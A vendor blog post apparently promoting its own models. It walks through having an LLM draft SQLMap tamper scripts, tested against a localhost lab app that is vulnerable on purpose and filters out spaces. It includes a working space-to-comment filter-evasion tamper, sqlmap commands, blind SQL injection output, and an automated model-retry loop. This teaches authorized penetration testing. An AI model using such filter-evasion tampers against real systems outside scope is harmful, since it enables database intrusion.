A U.S. Army M-94 cipher device with stacked lettered disks on a museum shelf, with the article title about generating SQLMap tamper scripts with an LLM
Cover based on a photo by Daderot, via Wikimedia Commons, CC0 1.0

You can generate SQLMap tamper scripts with an LLM in under a minute, and getting one past --tamper load is the easy part. That is the trap. SQLMap only checks that the module exposes tamper(payload, **kwargs) and an optional __priority__. It does not check whether the transform actually changes the payload in a useful way. A script that returns payload.strip() loads cleanly and still leaves every space for a naive filter to catch.

This guide tests that gap on a small lab. Every console line below came from SQLMap 1.10.11 (the current PyPI release), run against a localhost HTTP app we wrote and owned. The drafts were written for this guide to show mistakes models commonly make in tamper scripts. They are not a captured model transcript, and no model was called in the lab. SQLMap's output is the evidence.

Authorized work only. Run custom tampers against your own lab or against assets your written scope covers. A tamper is a payload-string transform that still sends real requests. Do not point SQLMap at third-party WAFs or hosts outside scope.

If you already write scanner checks with a model, the same draft-then-test loop shows up in Burp BChecks and Nmap NSE scripts. This post is the SQLMap sibling: mutate the payload, then prove the mutation.

Why generate SQLMap tamper scripts with an LLM

SQLMap ships dozens of built-in tampers under tamper/. The architecture notes describe them as payload-string transforms that run just before the request leaves, with no engine coupling, so you can chain them with --tamper=a,b,c. The Usage wiki documents the flag and the built-in set.

Engagement-specific filters are rarely covered by those built-ins. A product might strip spaces, rewrite one keyword, or reject a particular comment style. Nobody else's space2comment.py knows that rule, so you write a small custom module.

Models are good at the outline: a module docstring, __priority__, a tamper function, a replace call. They are less reliable on the contract SQLMap actually enforces and on whether the body does anything. Two defaults catch them most often:

  • The signature must be tamper(payload, **kwargs). SQLMap 1.10.x inspects the function. A one-argument def tamper(payload): from an older example raises missing function 'tamper(payload, **kwargs)' and never loads.
  • A transform that barely changes the string still "works." .strip() looks like space handling. It only trims the ends. Spaces inside 1 AND 1=1 stay put.

Neither mistake always produces a loud failure on the second case. Both waste a scan.

What a current tamper script looks like

A minimal custom module matches the built-ins. From SQLMap's own space2comment.py pattern, stripped to the lab's need:

#!/usr/bin/env python
__priority__ = 0

def tamper(payload, **kwargs):
    """Replace every space with /**/."""
    if payload is None:
        return payload
    return payload.replace(" ", "/**/")

__priority__ is an int (PRIORITY.NORMAL is 0 in lib.core.enums). SQLMap chains multiple --tamper scripts in priority order. Put the file somewhere on disk and point at it with a path:

sqlmap -u 'http://127.0.0.1:8765/item?id=1' \
  --tamper=/path/to/lab_space2comment.py \
  --batch --technique=B --dbms=sqlite

SQLMap also accepts a bare name when the file lives under its own tamper/ directory. For a one-off lab script, a full path is clearer.

The lab

The target is a Python HTTPServer on 127.0.0.1:8765. GET /item?id=<value> does two things:

  1. If the raw id value contains a literal space, +, or %20, it returns HTTP 403 with body BLOCKED: spaces not allowed in id. That stands in for a naive input filter, not a production WAF.
  2. Otherwise it runs an intentional, unparameterized SQLite query: SELECT name FROM items WHERE id = <id> against three planted rows.

Only the space rule matters for this post. Comment-style spacers such as /**/ pass the filter. The app is synthetic, local, and discarded after the runs. Console timestamps in the excerpts below are trimmed.

Draft 1: wrong signature, never loads

Representative first draft, written for the guide:

#!/usr/bin/env python
__priority__ = 0

def tamper(payload):
    """Attempt to remove spaces so a naive filter lets the request through."""
    if payload:
        return payload.strip()
    return payload

SQLMap 1.10.11 refuses it immediately:

[INFO] loading tamper module 'draft_space_strip'
[CRITICAL] missing function 'tamper(payload, **kwargs)' in tamper script '.../draft_space_strip.py'

The loader in lib/core/option.py requires both a payload parameter and a kwargs catch-all. Older one-argument examples still circulate in tutorials; current SQLMap does not accept them. Feed that CRITICAL line back to the model before you touch the lab.

Draft 2: loads, still blocked

Second draft: signature fixed, body still wrong.

#!/usr/bin/env python
__priority__ = 0

def tamper(payload, **kwargs):
    if payload:
        return payload.strip()
    return payload

This one loads. Against the lab with boolean-based tests only, SQLMap's payloads still contain spaces (1 AND 6239=6239), the filter returns 403 twelve times, and the run ends:

[INFO] loading tamper module 'draft2_noop'
[INFO] heuristic (basic) test shows that GET parameter 'id' might be SQL injectable
...
[WARNING] GET parameter 'id' does not seem to be injectable
[CRITICAL] all tested parameters do not appear to be injectable.

Heuristic said "maybe." The tamper did not change the payloads that needed changing. A model that celebrates "it loaded" stops one step too early.

Fixed: spaces become comments

Same interface, real transform:

#!/usr/bin/env python
__priority__ = 0

def tamper(payload, **kwargs):
    if payload is None:
        return payload
    return payload.replace(" ", "/**/")

Same SQLMap flags, fresh session. Payloads now look like 1/**/AND/**/7619=7619. The lab filter lets them through. Result:

[INFO] loading tamper module 'lab_space2comment'
[INFO] heuristic (basic) test shows that GET parameter 'id' might be SQL injectable
[INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite

That is the bar: the script loads and the lab shows the behavior you intended. Built-in space2comment does a more careful version of the same idea (quote-aware). Use the built-in when it fits; write a custom module when your filter is narrower.

Diagram of LLM SQLMap tamper validation: a draft missing **kwargs fails to load, a strip()-only draft loads but still hits the lab space filter with HTTP 403, and a fixed replace-space-with-comment tamper finds boolean-based blind injection on SQLite
The first draft never loads, the second loads and is still blocked, and the fixed tamper finds the injection. Image: RedRouter, Original

How to generate SQLMap tamper scripts with an LLM

Keep the model in a tight loop with SQLMap as the checker.

  1. Paste the contract. The required signature, a short note that __priority__ is an int, and one built-in as a style example. Link or paste ARCHITECTURE.md section 9 and the Usage wiki --tamper paragraph so the model is not guessing from memory.
  2. Describe the filter, not a bypass fantasy. "Our lab rejects any raw id value that contains a space. Replace spaces with /**/. Return only the .py file." Do not ask for a generic "WAF bypass pack."
  3. Load first. sqlmap --tamper=/path/to/draft.py -u ... --batch with a short timeout. If you see missing function 'tamper(payload, **kwargs)', send that CRITICAL line back unchanged.
  4. Prove the transform. Log a payload with -v 3 or print tamper('1 AND 1=1') in a one-liner. If the string is unchanged, the script is a no-op even when it loads.
  5. Run against your lab. Compare 403 counts, injection findings and DBMS fingerprint with and without the tamper. Only then promote the file into your toolkit.

A sketch of the load-and-retry half using the OpenAI Python SDK against RedRouter's https://redrouter.org/v1 base URL from the quickstart. We did not run it against the API for this post:

import os, subprocess, textwrap
from pathlib import Path
from openai import OpenAI

llm = OpenAI(base_url="https://redrouter.org/v1", api_key=os.environ["REDROUTER_API_KEY"])
path = Path("lab_space2comment.py")
messages = [{"role": "user", "content": Path("prompt.txt").read_text()}]

for attempt in range(4):
    reply = llm.chat.completions.create(model="glm-5.3-flash-red", messages=messages)
    text = reply.choices[0].message.content.strip()
    if text.startswith("`"):
        text = text.split("\n", 1)[1].rsplit("`" * 3, 1)[0]
    path.write_text(text + "\n")
    run = subprocess.run(
        ["sqlmap", "-u", "http://127.0.0.1:8765/item?id=1",
         f"--tamper={path}", "--batch", "--technique=B", "--dbms=sqlite",
         "--flush-session", "-v", "1"],
        capture_output=True, text=True, timeout=120,
    )
    out = run.stdout + run.stderr
    if "missing function 'tamper(payload, **kwargs)'" in out:
        note = "SQLMap refused to load the tamper. Fix the signature to def tamper(payload, **kwargs). Return the .py only."
    elif "does not seem to be injectable" in out or "all tested parameters do not appear to be injectable" in out:
        note = "Tamper loaded but the lab still blocked spaced payloads. Replace every space, not just strip ends. Return the .py only."
    elif "injectable" in out and "back-end DBMS is SQLite" in out:
        print("Loaded and found the lab injection.")
        break
    else:
        note = "Unexpected SQLMap output. Return a minimal tamper that replaces spaces with /**/."
    messages += [
        {"role": "assistant", "content": text},
        {"role": "user", "content": note},
    ]

Keep the loop pointed at your lab. Read the finished script before you use it on scope: the model chose every character of every payload transform.

What to send the model

Send the interface, one built-in example, the filter description and SQLMap's error text. Do not send client hostnames, session cookies, real response bodies with secrets, or production WAF fingerprints. If a real response shaped the rule, redact it down to the pattern ("any space in the raw query value returns 403").

For retention choices when prompts include engagement detail, Zero Data Retention is an opt-in setting, off by default. See also what RedRouter keeps.

Choosing a model for SQLMap tamper generation

Use any model that follows a "Python file only" instruction and can take a few rounds of SQLMap errors. On RedRouter, GLM 5.3 Flash Red (glm-5.3-flash-red) is $0.25 per 1M input tokens, $0.13 per 1M cached input tokens and $1.00 per 1M output tokens. red-cyber-1 (Beta), the featured model for authorized penetration testing and red-team work, is $0.28 / $0.13 / $1.10 per 1M tokens. The models docs list current rates; plans are on /pricing.

Tamper prompts describe filters and payload transforms in plain terms. RedRouter is built for that kind of authorized security work, including the wider AI bug-bounty workflow.

FAQ

Can I generate SQLMap tamper scripts with an LLM?

Yes, as a first draft. In our lab, a model-style draft with a one-argument tamper(payload) failed to load. A second draft with the right signature but .strip() loaded and still got HTTP 403 from the space filter. Replacing every space with /**/ found boolean-based blind injection on the lab's SQLite backend.

Does SQLMap require **kwargs on custom tampers?

Yes on current 1.10.x. The loader checks for both payload and a kwargs catch-all. Missing either produces missing function 'tamper(payload, **kwargs)' and the script never runs.

Should I use built-in tampers or write my own?

Prefer a built-in when it matches the filter (for example space2comment, randomcase). Write a custom module when the rule is product-specific. Always prove either choice on a lab you own before scope.

Is this a WAF bypass guide?

No. The lab uses a one-rule space filter on localhost. The point is the draft-load-prove loop for custom tampers during authorized tests. Do not run SQLMap against third-party WAFs or out-of-scope hosts.

Which model should I use?

Start with GLM 5.3 Flash Red for cheap iteration on the load/fix loop. Use red-cyber-1 when the prompt includes denser engagement context. Re-check rates on the models docs before you budget a run.